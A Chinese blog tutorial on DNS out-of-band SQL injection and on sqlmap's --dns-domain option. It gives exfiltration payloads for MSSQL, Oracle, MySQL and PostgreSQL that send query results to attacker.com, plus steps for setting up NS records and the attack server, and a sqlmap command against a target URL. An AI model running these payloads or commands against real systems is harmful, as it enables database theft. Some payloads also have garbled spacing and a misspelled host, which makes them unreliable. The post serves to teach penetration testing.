SQLMap DNS外带注入

Home WEB安全 SQLMap DNS外带注入

ctukIe.png

什么是OOB?

简单来说Out-of-band,带外通信,通过某些信道来传输数据,比如DNS信道。在很多SQL注入场景无明确回显变化,只能通过时间盲注获得数据时,使用OOB技术将数据通过DNS信道传输可以极大的增加效率。

哪些数据库支持DNS OOB技术

MySQL、MsSQL、PostgreSQL、Oracle通过一些函数都可以实现OOB注入技术,下面列举出可用的Payload,更加详细的关于SQL注入OOB技术的探讨请见2012年miroslav的论文《Data Retrieval over DNS in SQL Injection Attacks》,或者Keacwu师傅在语雀上也记录过一篇关于SQL注入OOB的文章,本质上核心内容也是从这边论文而来。

MsSQL:

DECLARE @data varchar(1024);

SELECT @data =(SELECT foo FROM bar);

EXEC('master..xp_dirtree“\\'+ @ data +'.attacker.com \ foo $”');

Oracle:

SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||'.attacker.com',80)FROM DUAL;

MySQL:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT foo FROM bar),'.atacker.com'));

PostgreSQL:

    DROP TABLE IF EXISTS table_output;

    CREATE TABLE table_output(content text);

    CREATE OR REPLACE FUNCTION temp_function()

    RETURNS VOID AS $$

    DECLARE exec_cmd TEXT;

    DECLARE query_result TEXT;

    BEGIN

        SELECT INTO query_result (SELECT foo FROM bar);

        exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\foobar.txt\'';

        EXECUTE exec_cmd;

    END;

    $$ LANGUAGE plpgsql SECURITY DEFINER;

    SELECT temp_function();

SQLMap自动化DNS OOB

前几天在看SQLMap官方文档时,发现SQLMap真的有很多骚姿势选项、很多细节值得去学习。其中之一就有这个--dns-domain选项。它支持通过DNS服务器来进行数据外带,兼容SQLMap各种自动化功能的同时,还增加了时间盲注的效率。

在网上搜索相关文章时,发现内容讲解的并不够细致,很多细节有遗漏,所以本篇文章会主要对如何使用SQLMap进行DNS OOB注入进行讲解。

ctukIe.png

当指定--dns-domain选项来指定一个域名进行DNS外带时,SQLMap会在本机53端口启用一个自带的DNS服务器,这个DNS服务器负责的就是我们指定的域名的解析。所以,我们需要在域名运营商处将域名DNS指向我们攻击的主机地址(域名)。

配置好后,通过SQLMap向存在SQL注入漏洞的WEB应用执行相关SQL命令,并通过特定的函数(如 LOAD_FILE)将命令执行的结果通过发起DNS查询请求外带出去,那么外带数据的目标,自然就是我们配置好的本机DNS服务器了。这样,就达到了,SQLMap联动DNS外带数据进行SQL注入的效果。

操作步骤

1、首先要确定你的攻击服务器,我的攻击服务器是www.2h0ng.wiki所在的主机;这里,我的域名2h0ng.wiki配置了通配主机名,指向了我的服务器IP。

image

2、其次,确定好你想通过哪个域名进行DNS外带,这里我选择的域名是l3.gs。然后,需要将外带域名的DNS服务地址配置为攻击机的地址。这里的实现方式有很多种,你可以直接在买域名的地方设置域名DNS直接指向攻击机地址,也可以通过中转DNS比如DNSPod配置NS记录的地址为攻击机地址,都可以。

我这里是直接在DNSPod上配置NS记录为攻击机地址,如果用这种方法就要注意主机记录不要使用通配*。

image

3、外带域名已经将它的DNS服务器配置到了攻击机地址,我们来测试一下试配置有没有成功。

在攻击机服务器抓取53端口的数据包:

sudo tcpdump -n port 53 | grep l3.gs

然后随便找个电脑ping一下:

image

如果抓到了DNS请求的数据,则说明外带域名的DNS服务器成功配置到了攻击机的地址。

4、核心配置方法已经完成,下面使用SQLMap通过--dns-domain选项指定外带域名进行OOB注入即可。

python sqlmap.py -u https://xx.xx.xx/?id=1 --dns-domain=l3.gs --current-user

这里要注意一下,阿里云、腾讯云会默认有一个systemd-resolved服务占用53端口,需要stop一下。

systemctl stop systemd-resolved.service

执行结果:

image

image

Reference

https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/

https://www.slideshare.net/stamparm/dns-exfiltration-using-sqlmap-13163281/21-Integration_into_sqlmap_2_Domain

https://www.cnblogs.com/backlion/p/8984121.html

https://www.freebuf.com/sectool/222967.html


Related post

发表回复


#footer{ margin: 0 auto; }